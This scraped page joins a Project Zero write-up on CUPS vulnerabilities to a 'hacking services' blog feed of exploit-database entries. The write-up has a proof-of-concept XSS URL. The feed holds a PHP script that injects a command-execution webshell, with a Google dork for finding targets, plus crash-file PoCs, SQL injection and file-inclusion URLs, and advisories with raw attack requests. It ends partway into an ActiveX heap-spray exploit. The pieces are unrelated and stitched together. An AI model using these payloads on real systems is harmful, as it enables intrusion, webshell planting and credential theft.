Source: http://googleprojectzero.blogspot.se/2015/06/owning-internet-printing-case-study-in.html
Abstract
Modern exploit mitigations draw attackers into a game of diminishing marginal returns. With each additional mitigation added, a subset of software bugs become unexploitable, and others become difficult to exploit, requiring application or even bug-specific knowledge that cannot be reused. The practical effect of exploit mitigations against any given bug or class of bugs is the subject of great debate amongst security researchers.
Despite mitigations, skilled and determined attackers alike remain undeterred. They cope by finding more bugs, and by crafting increasingly complex exploit chains. Attackers treat these exploits as closely-guarded, increasingly valuable secrets, and it's rare to see publicly-available full-fledged exploit chains. This visibility problem contributes to an attacker's advantage in the short term, but hinders broader innovation.
In this blog post, I describe an exploit chain for several bugs I discovered in CUPS, an open-source printing suite. I start by analyzing a relatively-subtle bug in CUPS string handling (CVE-2015-1158), an exploit primitive. I discuss key design and implementation choices that contributed to this bug. I then discuss how to build an exploit using the primitive. Next, I describe a second implementation error (CVE-2015-1159) that compounds the effect of the first, exposing otherwise unreachable instances of CUPS. Finally, I discuss the specific features and configuration options of CUPS that either helped or hindered exploitation.
By publishing this analysis, I hope to encourage transparent discourse on the state of exploits and mitigations, and inspire other researchers to do the same.
Summary
Cupsd uses reference-counted strings with global scope. When parsing a print job request, cupsd can be forced to over-decrement the reference count for a string from the request. As a result, an attacker can prematurely free an arbitrary string of global scope. I use this to dismantle ACL's protecting privileged operations, upload a replacement configuration file, then run arbitrary code.
The reference count over-decrement is exploitable in default configurations, and does not require any special permissions other than the basic ability to print. A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web. The XSS is reachable in the default configuration for Linux instances of CUPS, and allows an attacker to bypass default configuration settings that bind the CUPS scheduler to the 'localhost' or loopback interface.
Exploitation is near-deterministic, and does not require complex memory-corruption 'acrobatics'. Reliability is not affected by traditional exploit mitigations.
Background
Improper Teardown - Reference Count Over-Decrement (CVE-2015-1158)
When freeing localized multi-value attributes, the reference count on the language string is over-decremented when creating a print job whose 'job-originating-host-name' attribute has more than one value. In 'add_job()', cupsd incorrectly frees the 'language' field for all strings in a group, instead of using 'ipp_free_values()'.
scheduler/ipp.c:1626:
/*
* Free old strings… ← Even 'old' strings need to be freed.
*/
for (i = 0; i < attr->num_values; i ++)
{
_cupsStrFree(attr->values[i].string.text);
attr->values[i].string.text = NULL;
if (attr->values[i].string.language) ← for all values in an attribute
{
_cupsStrFree(attr->values[i].string.language); ← free the 'language' string
attr->values[i].string.language = NULL;
}
}
In this case, 'language' field comes from the value of the 'attributes-natural-language' attribute in the request.
To specifically target a string and free it, we send a 'IPP_CREATE_JOB' or 'IPP_PRINT_JOB' request with a multi-value 'job-originating-host-name' attribute. The number of 'job-originating-host-name' values controls how many times the reference count is decremented. For a 10-value attribute, the reference count for 'language' is increased once, but decremented 10 times.
The over-decrement prematurely frees the heap block for the target string. The actual block address will be quickly re-used by subsequent allocations.
Dangling pointers to the block remain, but the content they point to changes when blocks are freed or reused. This is the basic exploit primitive upon which we build.
A Reflected XSS in the Web Interface (CVE-2015-1159)
The template engine is only vaguely context-aware, and only supports HTML. Template parsing and variable substitution and escaping are handled in 'cgi_copy()'.
The template engine has 2 special cases for 'href' attributes from HTML links. The first case 'cgi_puturi()' is unused in current templates, but the second case ends up being interesting.
The code is found in 'cgi_puts()', and escapes the following reserved HTML characters:
<>"'&
These are replaced with their HTML entity equivalents ('<' etc...).
The function contains a curious special case to deal with HTML links in variable values. Here is a code snippet, from cgi-bin/template.c:650:
if (*s == '<')
{
/*
* Pass <A HREF="url"> and </A>, otherwise quote it...
*/
if (!_cups_strncasecmp(s, "<A HREF=\"", 9))
{
fputs("<A HREF=\"", out);
s += 9;
while (*s && *s != '\"')
{
if (*s == '&')
fputs("&", out);
else
putc(*s, out);
s ++;
}
if (*s)
s ++;
fputs("\">", out);
}
For variable values containing '<a href="', all subsequent characters before a closing double-quote are subject to less restrictive escaping, where only the '&' character is escaped. The characters <>', and a closing " would normally be escaped, but are echoed unaltered in this context.
Note that the data being escaped here is client-supplied input, the variable value from the CGI argument. This code may have been intended to deal with links passed as CGI arguments. However, the template engine's limited context-awareness becomes an issue.
Take this example from templates/help-header.tmp:19:
<P CLASS="l0"><A HREF="/help/{QUERY??QUERY={QUERY}:}">All Documents</A></P>
In this case, the CGI argument 'QUERY' is already contained inside a 'href' attribute of a link. If 'QUERY' starts with '<a href="', the double-quote will close the 'href' attribute opened in the static portion of the template. The remainder of the 'QUERY' variable will be interpreted as HTML tags.
Requesting the following URI will demonstrate this reflected XSS:
http://localhost:631/help/?QUERY=%3Ca%20href=%22%20%3E%3Cscript%3Ealert%28%27Linux%20crickets%20chirping%20for%20a%20patch%27%29%3C/script%3E%3C!--&SEARCH=Search
The 'QUERY' parametre is included in the page twice, leading to multiple unbalanced double-quotes. As such, the open comment string '<!--' is used to yield a HTML page that parses without errors.
Upstream Fixes
Apple Fix (April 16, 2015):
https://support.apple.com/kb/DL1807
Official CUPS fix for downstream vendors (June 8, 2015):
https://www.cups.org/str.php?L4609
http://www.cups.org/blog.php?L1082+I0+Q
Project Zero Bug
For those interested, the sample exploit can be found here:
https://code.google.com/p/google-security-research/issues/detail?id=455
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37336.tar.gz
Disclosure Timeline
March 20th, 2015 - Initial notification to Apple
April 16th, 2015 - Apple ships fix in Mac OS X 10.10.3
June 8th, 2015 - CUPS ships official fix in CUPS 2.0.3
June 18th, 2015 - Disclosure + 90 days
June 19th, 2015 - P0 publication
Attack Surface Reduction in CUPS 2.0.3+
CUPS 2.0.3 and 2.1 beta contains several prescient implementation changes to limit the risk and impact of future similar bugs:
Configuration value strings are now logically separated from the string pool, allocated by strdup() instead.
LD_* and DYLD_* environment variables are blocked when CUPS is running as root.
The localhost listener is removed when 'WebInterface' is disabled (2.1 beta only).
Acknowledgements
Thanks to Ben Hawkes, Stephan Somogyi, and Mike Sweet for their comments and edits.
Conclusion
No one prints anything anymore anyways.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863153511
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/53709/info
Yamamah Photo Gallery is prone to an information-disclosure vulnerability.
An attacker can exploit this issue to download the database that contain sensitive information. Information harvested may aid in launching further attacks.
Yamamah 1.1.0 is vulnerable; other versions may also be affected.
http://www.example.com/yamamah/cp/export.php
source: https://www.securityfocus.com/bid/53708/info
Nilehoster Topics Viewer is prone to multiple SQL-injection vulnerabilities and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. By using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.
Topics Viewer 2.3 is vulnerable; other versions may also be affected.
http://www.example.com//search.php?q=[SQLi]
http://www.example.com//lost.php/ [SQLi]
http://www.example.com/footer.php? [LFI]
source: https://www.securityfocus.com/bid/53703/info
Small-Cms is prone to a remote PHP code-injection vulnerability.
An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying computer; other attacks are also possible.
<?php
# Author : L3b-r1'z
# Title : Small Cms Php Code Injection
# Date : 5/25/2012
# Email : L3b-r1z@hotmail.com
# Site : Sec4Ever.Com & Exploit4Arab.Com
# Google Dork : allintext: "Copyright © 2012 . Small-Cms "
# -------- Put Target As site.com Just (site.com) -------- #
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/install.php?
step=2&action=w");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"hostname=LOL%22%3B%3F%3E%3C%3Fsystem(%24_GET%5B'cmd'%5D)%3B%3F%3E%3C%3F%22LOL&username=sssss&password=sssss&database=sssss");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
# Curl By : RipS
?>
#!/usr/bin/python
#[+] Author: Rajganesh (Raj) Pandurangan
#[+] Exploit Title: HansoPlayer 3.4.0 Memory Corruption PoC
#[+] Date: 06-17-2015
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7
#[+] Vendor: http://www.hansotools.com
#[+] Download: http://www.hansotools.com/downloads/hanso-player-setup.exe
#[+] Sites: www.exclarus.com
#[+] Twitter: @rajganeshp
#[+] Thanks: offensive security (@offsectraining)
print"###########################################################"
print"# Title: HansoPlayer 3.4.0 Memory Corruption PoC #"
print"# Author: Rajganesh Pandurangan #"
print"# Category: DoS/PoC # "
print"###########################################################"
header = ("\x52\x49\x46\x46\x64\x31\x10\x00\x57\x41\x56\x45\x66\x6d\x74\x20"
"\x10\x00\x00\x00\x01\x00\x01\x00\x22\x56\x00\x00\x10\xb1\x02\x00"
"\x04\x00\x00\x00\x64\x61\x74\x61\x40\x31\x10\x00\x14\x00\x2a\x00"
"\x1a\x00\x30\x00\x26\x00\x39\x00\x35\x00\x3c\x00\x4a\x00\x3a\x00"
"\x5a\x00\x2f\x00\x67\x00\x0a")
exploit = header
exploit += "\x41" * 900000
crash = open('crash.wav','w')
crash.write(exploit)
crash.close()
#!/usr/bin/python
#[+] Author: Rajganesh (Raj) Pandurangan
#[+] Exploit Title: WinylPlayer 3.0.3 Memory Corruption PoC
#[+] Date: 06-17-2015
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7
#[+] Vendor: http://vinylsoft.com/
#[+] Download: http://vinylsoft.com/download/winyl_setup.zip
#[+] Sites: www.exclarus.com
#[+] Twitter: @rajganeshp
#[+] Thanks: offensive security (@offsectraining)
print"###########################################################"
print"# Title: WinylPlayer 3.0.3 Memory Corruption PoC #"
print"# Author: Rajganesh Pandurangan #"
print"# Category: DoS/PoC # "
print"###########################################################"
header = ("\x52\x49\x46\x46\x64\x31\x10\x00\x57\x41\x56\x45\x66\x6d\x74\x20"
"\x10\x00\x00\x00\x01\x00\x01\x00\x22\x56\x00\x00\x10\xb1\x02\x00"
"\x04\x00\x00\x00\x64\x61\x74\x61\x40\x31\x10\x00\x14\x00\x2a\x00"
"\x1a\x00\x30\x00\x26\x00\x39\x00\x35\x00\x3c\x00\x4a\x00\x3a\x00"
"\x5a\x00\x2f\x00\x67\x00\x0a")
exploit = header
exploit += "\x41" * 900000
crash = open('crash.wav','w')
crash.write(exploit)
crash.close()
##################################################################################################
#Exploit Title : Lively cart SQL Injection vulnerability
#Author : Manish Kishan Tanwar AKA error1046
#Vendor Link : http://codecanyon.net/item/livelycart-a-jquery-php-store-shop/5531393
#Date : 18/06/2015
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi
#Discovered At : Indishell Lab
##################################################################################################
////////////////////////
/// Overview:
////////////////////////
Lively cart is shping cart script and search parameter(search_query) in not filtering user supplied data and hence affected from SQL injection vulnerability
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to search_query GET parameter
////////////////
/// POC ////
///////////////
http://SERVER/1.2.0/product/search?search_query='
--==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
--==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
--==[[ Special Fuck goes to ]]==--
<3 suriya Cyber Tyson <3
Document Title:
===============
ZTE ZXV10 W300 v3.1.0c_DR0 - UI Session Delete Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1522
Release Date:
=============
2015-06-16
Vulnerability Laboratory ID (VL-ID):
====================================
1522
Common Vulnerability Scoring System:
====================================
6
Product & Service Introduction:
===============================
ZTE zxv10 w300 ADSL wireless router cat family gateway (accessories include a host, a power line, a line of 1 root, separator, 1)
(Copy of the Vendor Homepage: http://wwwen.zte.com.cn/en/products/access/cpe/201302/t20130204_386351.html )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a remote vulnerability in the official ZTE Corporation ZXV10 W300 v3.1.0c_DR0 modem hardware.
Vulnerability Disclosure Timeline:
==================================
2015-06-16: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
ZTE Corporation
Product: ZTE ZXV10 W300 3.1.0c_DR0
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A session vulnerability has been discovered in the official ZTE Corporation ZXV10 W300 v3.1.0c_DR0 modem hardware.
The security vulnerability allows remote attackers to block/shutedown or delete network settings and components.
The LAN configuration post to /Forms/home_lan_1 and the page /home_lan_1 that stores the configuration of the router.
Attackers can request via GET method the /Forms/home_lan_1 path and the modem will delete all the LAN configurations automatically.
The problem is the GET method request with the /Forms/home_lan_1 path that deletes all the configurations. A hard reset is required
after successful exploitation of the issue.
The security risk of the router ui web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.0.
Exploitation of the security web vulnerability requires no privilege web-application user account and low user interaction (click link).
Successful exploitation of the vulnerability results in reset of the modem device, shutdown of the network/lan or compromise of running services.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Forms/
Affected Module(s):
[+] home_lan_1
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privilege application user account and low user interaction (click).
For security demonstration or to reproduce follow the provided information and steps below to continue.
--- PoC Session Logs [GET] ---
13:18:35.526[0ms][total 0ms]
Status: pending[]
GET http://192.168.1.1/Forms/home_lan_1
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Content Size[unknown] Mime Type[unknown]
Request Headers:
Host[192.168.1.1]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
X-Forwarded-For[8.8.8.8]
Connection[keep-alive]
Authorization[Basic YWRtaW46YWRtaW4=]
Note: The victim with needs to click to perform only the GET method request with non expired session to execute!
Reference(s):
http://localhost/Forms/home_lan_1
Security Risk:
==============
The security risk of the remote vulnerability in the interface service is estimated as high. (CVSS 6.0)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
Document Title:
===============
ManageEngine SupportCenter Plus 7.90 - Multiple Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1501
Release Date:
=============
2015-06-19
Vulnerability Laboratory ID (VL-ID):
====================================
1501
Common Vulnerability Scoring System:
====================================
6.9
Product & Service Introduction:
===============================
SupportCenter Plus is a web-based customer support software that lets organizations effectively manage customer tickets, their account and
contact information, the service contracts and in the process providing a superior customer experience. SupportCenter Plus is commonly deployed on
internet accessible interfaces to allow customers to access the application. This common deployment scenario often involves a combination of
low privilege accounts for customers (typically local authentication) and higher privilege accounts for help desk stuff (typically Active Directory
integrated). Note that it is not unusual to allow any internet user to be able to register a low privilege account. This deployment scenario is
important to consider when evaluating the risk of the below vulnerabilities.
(Copy of the Vendor Homepage: https://www.manageengine.com/products/support-center/ )
Abstract Advisory Information:
==============================
An indepndent vulnerability researcher discovered multiple vulnerabilities in the official ManageEngine SupportCenter Plus v7.90 web-application.
Vulnerability Disclosure Timeline:
==================================
2015-05-27: Researcher Notification & Coordination (Alain Homewood)
2015-06-19: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Manage Engine
Product: SupportCenter Plus - Web Application 7.90
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1 Improper authentication disclosing password (Authenticated)
Missing user access control mechanisms allow low privilege users to gain unauthorised access to sensitive Active Directory integration functionality normally only accessibly by Administrators.
This functionality allows a low privilege user to:
1.) Retrieve the plain text user name and password for the domain account (typically Domain Administrator or similar) used to integrate with Active Directory
2.) Configure arbitrary domains to be used for authentication and import users from these domains (overwriting existing user records)
A low privilege user in SupportCenter Plus can gain privileged access to both the application and any integrated domains. Typical attack scenarios could include:
1.) SupportCenter Plus is accessible via the internet. An internet based attacker who can gain access to a low privilege account (registering an account if enabled or stealing an account) can gain access to highly privileged domain credentials. The attacker can then use these credentials to gain remote access to the organisation through other means (e.g. VPNs or physically in a meeting room at the organisation).
2.) SupportCenter Plus is not accessible via the internet. An attacker who has gained a low level of compromise in an organisation (i.e. any user who can access SupportCenter Plus) can use these vulnerabilities to escalate themselves to domain administrator or similar.
Pre-requisites and considerations include:
- In order to steal existing domain credentials it is necessary for Active Directory integration to have been setup.
- In order to import users from an attacker controlled domain it is necessary for the SupportCenter Plus server to have network connectivity to the attacker server (i.e. firewall rules may prevent this)
- It is possible to login to SupportCenter Plus using domain authentication even when this option is hidden (typically done so that the domain name isn`t displayed on the internet accessible login)
1.2 Directory traversal on file upload (Authenticated)
Low privilege users have the ability to attach files to work order requests (e.g. to attach a screenshot).
This functionality is vulnerable to directory traversal and allows low privilege users to upload files to arbitrary directories.
Potential impacts of this vulnerability include:
1.) Remote code execution ***
2.) Denial of service
3.) Uploading malicious static content to web accessible directories (e.g. JavaScript, malware etc)
*** There are two key limitations to this vulnerability that limit any easily exploitable method for code execution through exploiting the underlying JBoss environment:
1.) A Java compiler is not installed as part of SupportCenter Plus which prevents uploaded JSP files from being executed
2.) The uploaded directory always appends an additional directory (named after the user`s ID) which prevents deployment of a packaged or unpackaged WAR file (or similar)
Despite the above limitations I cannot con conclusively determine that code execution is not possible.
1.3 Reflected cross site scripting (Authenticated)
Multiple authenticated reflected cross site scripting vulnerabilities exist in SupportCenter Plus.
Unsanitised user provided input in the `query` parameter is echoed back to the user during requests to /CustomReportHandler.do.
Only administrators (or similar highly privileged) users with access to the custom report functionality are vulnerable to this attack vector.
Unsanitised user provided input in the `compAcct` parameter is echoed back to user during requests to /jsp/ResetADPwd.jsp.
Unsanitised user provided input in the `redirectTo` parameter is echoed back to user during requests to /jsp/CacheScreenWidth.jsp.
All authenticated users are vulnerable to these attack vectors.
Proof of Concept (PoC):
=======================
1.1
The vulnerability can be exploited by remote attackers without user interaction.
For security demonstration or to reproduce follow the provided information and steps below.
Manual steps to reproduce the vulnerability ...
1.) Set up a Active Directory domain
2.) Install SupportCenter Plus
3.) Login as an administrator and add a Windows domain and associated credentials
4.) Logout and login as a low privilege user (by default there is guest/guest account)
5.) Attempt to access the above URLs and observe that you can access the functionality with no restrictions
(e.g. browse to http://[VULNERABLE]/EditDomain.do?action=editWindowsDomain&windowsDomainID=1&SUBREQUEST=XMLHTTP and view the password in the HTML source code)
Plain text domain credentials can be viewed in the HTML source code of the following pages when logged in as low privilege user:
http://[VULNERABLE]/EditDomain.do?action=editWindowsDomain&windowsDomainID=1&SUBREQUEST=XMLHTTP
http://[VULNERABLE]/ImportADUsers.do
Additional domains can be added through browsing to http://[VULNERABLE]/ImportADUsers.do?action=editWindowsDomain&windowsDomainID=1&SUBREQUEST=XMLHTTP and then selecting "Add New Domain" which will allow you to enter the domain details resulting in a POST similar to this:
POST /EditDomain.do?SUBREQUEST=XMLHTTP HTTP/1.1
Host: [VULNERABLE]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Referer: http://[VULNERABLE]:9090/AdminHome.do
Content-Length: 181
Cookie: [object HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object HTMLTableCellElement]=show; 3Adminhelpexp=helpexpshow; 3Adminhelpcoll=helpcollhide; JSESSIONID=C14EA9B74F5D5C7B2F3055EA96F71188; PREV_CONTEXT_PATH=; JSESSIONIDSSO=391CCA5D883203EBE1CD84BEFCB26144
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
name=TESTDOMAIN&isPublicDomain=on&domainController=CONTROLLER&loginName=Administrator&password=Password123&id=1&addButton=&cancel=Cancel&updateButton=Save&cancel=Cancel&description=
Domain users can be imported by browsing to http://[VULNERABLE]/ImportADUsers.do selecting the domain and clicking next. You can then select the Operation Units (OUs) you want to import from the domain and click "Start Import" resulting in a POST similar to this:
POST /ImportADUsers.do HTTP/1.1
Host: [VULNERABLE]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[VULNERABLE]:9090/ImportADUsers.do
Cookie: [object HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object HTMLTableCellElement]=show; PREV_CONTEXT_PATH=; JSESSIONID=96062390B861F5901A937CE3A71A8F4D; JSESSIONIDSSO=C5CBE9C1CB90CEA338318B903BEDE26A; 3Adminhelpexp=helpexpshow; 3Adminhelpcoll=helpcollhide
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 193
selectedOUs=2&importUser=Start+Import&selectOUs=Next&serverName=CONTROLLER&domainName=TESTDOMAIN&userName=Administrator&userPassword=password123&isRefresh=true&phone=true&mobile=true&job=true&email=true
1.2
The vulnerability can be exploited by remote attackers without user interaction.
For security demonstration or to reproduce follow the provided information and steps below.
Files are uploaded via a POST request to /workorder/Attachment.jsp?component=Request
It is possible to manipulate the "module" parameters to traverse directories. Decompiled source code of the creation of the file path is shown below:
String filePath1 = "Attachments" + filSep + module + filSep + userID1
Note that an additional directory (named after the user's ID) is always appended to file path.
In the below example POST a module value of ../../../../../../../../../../../../ is specified and the logged in user has an ID value of 2.
The resulting file in this case is uploaded to c:\2\payload.html on a Windows environment.
An example POST request is shown below:
POST /workorder/Attachment.jsp?component=Request HTTP/1.1
Host: [VULNERABLE]:9090
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[VULNERABLE]:9090/workorder/Attachment.jsp?component=Request
Cookie: [object HTMLTableRowElement]=show; [object HTMLDivElement]=show; [object HTMLTableCellElement]=show; PREV_CONTEXT_PATH=/custom; JSESSIONID=DCB297647A29281C4E80C76898B4B09A; 3Adminhelpexp=helpexpshow; 3Adminhelpcoll=helpcollhide; domainName=TESTDOMAIN; JSESSIONIDSSO=A1E2CBF658231DF263F84A994E27F536
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------17390486101970088239358532669
Content-Length: 1110
-----------------------------17390486101970088239358532669
Content-Disposition: form-data; name="filePath"; filename="payload.html"
Content-Type: application/octet-stream
test12345
-----------------------------17390486101970088239358532669
Content-Disposition: form-data; name="filename"
payload.html
-----------------------------17390486101970088239358532669
Content-Disposition: form-data; name="vecPath"
-----------------------------17390486101970088239358532669
Content-Disposition: form-data; name="vec"
-----------------------------17390486101970088239358532669
Content-Disposition: form-data; name="theSubmit"
AttachFile
-----------------------------17390486101970088239358532669
Content-Disposition: form-data; name="formName"
null
-----------------------------17390486101970088239358532669
Content-Disposition: form-data; name="component"
../../../../../../../../../../../../
-----------------------------17390486101970088239358532669
Content-Disposition: form-data; name="ATTACH"
Attach
-----------------------------17390486101970088239358532669--
1.3
The cross site scripting web vulnerability can be exploited by remote attackers with low or medium user interaction.
For security demonstration or to reproduce follow the provided information and steps below.
Administrator user only:
http://[VULNERABLE]:9090/CustomReportHandler.do?module=run_query_editor_query&reportTitle=test&query=<BODY%20ONLOAD=alert(1)>
Any authenticated user:
http://[VULNERABLE]:9090/jsp/ResetADPwd.jsp?compAcct=%22%3E%3CIFRAME%20SRC=%22http://www.google.com%22%3E%3C/IFRAME%3E
http://[VULNERABLE]:9090/jsp/CacheScreenWidth.jsp?width=1600&redirectTo=";alert(1);//
Security Risk:
==============
1.1
The security risk of the authentication disclosing password vulnerability is estimated as high. (CVSS 6.9)
1.2
The security risk of the directory traversal web vulnerability is estimated as high. (CVSS 5.9)
1.3
The security risk of the cross site scripting web vulnerabilities are estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
Alain Homewood (PwC New Zealand) - [http://vulnerability-lab.com/show.php?user=Alain%20Homewood]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
<HTML>
<BODY>
<input language=JavaScript onclick=Tryme() type=button value="Launch Calc">
<object id=boom classid="clsid:{25982EAA-87CC-4747-BE09-9913CF7DD2F1}"></object>
<br>Tango FTP Activex Heap Spray Exploit</br>
<br>Version:1.0(Build 136)</br>
<br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br>
